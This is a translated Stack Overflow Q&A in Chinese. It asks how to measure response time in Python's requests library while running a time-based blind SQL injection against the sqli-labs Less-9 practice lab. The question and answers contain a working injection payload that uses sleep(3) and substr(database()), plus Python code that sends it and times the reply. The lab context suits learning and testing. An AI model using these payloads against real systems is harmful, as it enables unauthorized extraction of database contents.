首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >使用Python中的请求库测量HTTP响应时间。我做得对吗?

使用Python中的请求库测量HTTP响应时间。我做得对吗?
EN

Stack Overflow用户
提问于 2015-05-26 00:53:10
回答 2查看 29.7K关注 0票数 11

我试图在来自web应用程序的HTTP响应中引入人为延迟(这是一种用于执行盲目SQL注入的技术)。如果以下HTTP请求是从浏览器发送的,则web服务器的响应将在3秒后返回(由睡眠(3)引起):

代码语言:javascript
复制
http://192.168.2.15/sqli-labs/Less-9/?id=1'+and+if+(ascii(substr(database(),+1,+1))=115,sleep(3),null)+--+

我正尝试在Python2.7中使用requests库来做同样的事情。我的代码是:

代码语言:javascript
复制
import requests

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = r.elapsed.total_seconds()
print roundtrip

我预计往返时间是3秒,但我得到的值是0.001371、0.001616、0.002228等。我是否没有正确使用elapsed属性?

EN

回答 2

Stack Overflow用户

发布于 2015-05-26 04:39:10

elapsed测量从发送请求到完成解析响应头之间的时间,而不是在传输完整响应之前的时间。

如果你想测量这个时间,你需要自己测量它:

代码语言:javascript
复制
import requests
import time

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) --+"}
start = time.time()
r = requests.get('http://192.168.2.15/sqli-labs/Less-9', params=payload)
roundtrip = time.time() - start
print roundtrip
票数 23
EN

Stack Overflow用户

发布于 2015-05-26 14:40:13

我发现我的有效载荷应该是

payload = {"id": "1' and if (ascii(substr(database(), 1, 1))=115,sleep(3),null) -- "}

原始负载中的最后一个字符'+‘将被传递到后端数据库,这会导致无效的SQL语法。我不应该在有效负载中进行任何手动编码。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/30442757

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档